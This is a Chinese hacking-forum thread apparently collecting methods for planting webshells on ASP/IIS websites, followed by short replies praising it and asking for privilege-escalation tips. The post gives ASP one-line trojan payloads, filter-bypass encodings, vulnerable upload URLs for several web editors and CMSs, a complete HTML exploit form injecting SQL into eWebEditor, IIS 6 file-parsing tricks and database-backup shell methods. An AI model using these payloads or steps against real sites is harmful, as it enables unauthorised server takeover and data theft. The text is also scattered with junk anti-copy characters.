返回列表 发帖

[原创文章] asp拿shell

1.有备份,上传图片备份。如不能修改文件后缀名,可备份成1.asp/1.mdb或1.asa/1.mdb的形式" G& a! z1 T. O6 l% l) j" O

$ J( p" s, U/ o! s$ f7 o2.写入配置文件一句话木马,如果过滤了<,%,>,(,)可尝试&#60;&#37;eval request&#40;&#34;value&#34;&#41;&#37;&#62;来突破,例如config.asp
; n  Y3 |2 L% G5 m
2 A- r( _& s/ e2 C3.上传漏洞:
( o7 F9 P! }+ ?1 ?; g
$ m4 V* u5 {+ X. w- ~动网上传漏洞:抓包nc提交,其中路径可改为zjq.asp 的形式,空格替换成0x00
( E( x; e' l/ V
: V- N  I9 |. _0 Y+ S1 y' ]1 M. N逻辑上传漏洞:同时上传两个文件,第一个为正常文件,第二个为iis可解析后缀文件
4 J& p  X6 \, s: C; Y( t. @; C' I  }3 u/ I; M
雷池上传漏洞:http://localhost/leichinews/admin/uploadPic.asp?actionType=mod&picName=test.asp
/ {; p) U+ C& |& J然后在上传文件里面填要传的图片格式的ASP木马# ~; G. U7 O7 D" u) U  i  `
就可以在uppic目录下上传文件名为test.asp的文件uppic/test.asp
9 |  d) \; G( i2 E  T4.ewebeditor:有后台添加asa或aaspsp上传类型,前提要进入后台。没后台如2.16版本可利用如下代码上传
% f& A4 E" Q/ ^  x9 I9 R9 d- ?) {! P4 s3 U$ M
<html>' k, ~: R, Y: S9 W) e
<head>
0 \7 C, N- G1 C<title>ewebeditor upload.asp上传利用</title>) s9 q4 s. O! s% S, t
</head>
, w1 f' v2 @0 u/ O<body># S6 q: S' `9 h; h0 G
<form action="upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data">+ W' d7 F1 @# ?* y' w/ E7 e
<input type=file name=uploadfile size=100><br><br>
4 I1 U/ F) r! V<input type=submit value=Fuck>( G2 T* j. J5 u8 h  u) E
</form>
) t6 `$ e- }( B# ?% y</body>  u$ }: p( l# s0 V( L3 @6 W" n  @
</form>* f# c& W) z) k" y( }
</html>: ~) D0 u- z6 ]2 a, C: K
+ V/ U! p) ]+ W' G# ^
2.8般亦可以利用admin_uploadfile.asp?id=14&dir=..列目录,前提是此文件可访问,或cookie欺骗后可访问
  S* y$ c' z! T2 Z9 s5.fckeditor:/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp5 r2 B, x+ s& p  k: ]+ l- S

9 x4 v* N) r8 c- A# x  s% M( y6 [利用windows2003解析。建立zjq.asp的文件夹
6 A" [' L; y: q% m$ Z8 i8 |" l' K. |8 W# p. E2 s
6.southidceditor:admin/SouthidcEditor/Admin_Style.asp?action=styleset&id=47。修改上传类型
* z3 `- X5 v7 z3 p2 J& M) g$ p& E( u2 a
7.cuteeditor:类似ewebeditor
3 ~0 D9 E5 C' x5 k2 G
6 I9 y# j5 z) U* W7 a% O. T# M8.htmleditor:同上9 p6 R7 C% y) a0 j

. h, W. [) ^. y( m) G6 w; I$ S9.插数据库一句话。前提是知道数据库路径,为asp,asa等后缀,无防下载表,有防下载表可尝试插入以下语句突破
9 Z, G& h+ z& I$ Q5 u; y1 G3 H2 U/ M5 c3 H1 f
<%execute request("value")%><%'<% loop <%:%>6 w  x# ^) ^2 Z. Y+ G$ w+ `1 r& R% |
8 t# [" X8 V/ X8 f$ L9 a
<%'<% loop <%:%><%execute request("value")%>
+ Y3 z0 ]- @6 w$ p5 a% q) P, F* P& o
<%execute request("value")'<% loop <%:%>$ [  _, a# [" Z7 ~; `; O
9.查看cookie,看上传路径是否为cookie记录,可修改为*.asp的形式,利用2003解析漏洞
0 w8 t6 D8 W) @( {3 h# o1 L# S/ L" X
10.上传不重命名文件,可上传zjq.asp;zjq.jpg的文件,iis6.0解析漏洞" D0 j2 p' S: q. ?. R

1 a& h" B$ h. i3 q11.注册用户名为zjq.asp,前提是网站会根据用户名新建一个以用户名命名的文件夹,上传正常图片木马,利用2k3
. o- i6 r) \. K( e( O" ?% _+ ?1 g: k; J, N8 e# i9 n% u
解析漏洞得到webshell: F% f, g5 r9 `* p; [" D
4 W1 w: K6 w/ l& z3 @
12.mssql差异备份,日志备份,前提需知道web路径
9 b, b9 L6 h, Z3 V$ ?5 \
& M; V7 V; ?, U1 O7 V# G13.先备份数据库(拿到shell便于恢复网站访问),上传图片shell,数据库为asp,asa等后缀,恢复数据库填写图片路径,速度要快,因为恢复完网站就不能正常访问,一句话连接得webshell
; w1 n8 U' L$ ^: t
- q$ v7 d0 i8 R* Q; e14.添加上传类型php,并上传phpshell,前提服务器能解析php,例如dvbbs8.2后台拿shell& N4 T7 I2 H% ]8 X! g! T, @1 C
: E" Z8 y7 }% R+ v$ }& k7 U
15.有些系统用的是防注入程序,数据库默认为sqlin.asp,我们可以www.xx.com/*.asp?id=1'<script language=VBScript runat=server>execute(request("zjq"))</Script>,这样就会在sqlin.asp中写入一句话shell,连接即可) g# I* v* C" U* f3 U

! L# H2 V8 |+ e8 W1 z以上只是本人的一些拙见,并不完善,以后想到了再继续添加, d6 S; C) ~  V2 I; @: Z7 L
不是我原创。我的朋友,飞鸟游鱼原创的
2

评分人数

  • 1335csy

  • 超超

好东西能分享 谢谢!!!

TOP

kankankankan
1

TOP

写的很不错

TOP

1# yyw258520
; _3 n6 l/ c& P' c/ L
' j7 S1 U: e3 b: ?8 o) a; n# L8 O8 u0 Z( A3 L. |" [" Z
很好啊、基本的入侵方法都包含了$ L) i3 U* x: q5 F
& F2 K+ v3 Y# q
最好来个提权的帖子再。% _1 r6 b& E0 x) n) p5 b+ K

4 U! ~7 b" C) V' W/ Z, R不要网上百度的。

TOP

提权才是王道。

TOP

不错哦 呵呵 学习了

TOP

谢谢楼主分享技术。。。

TOP

返回列表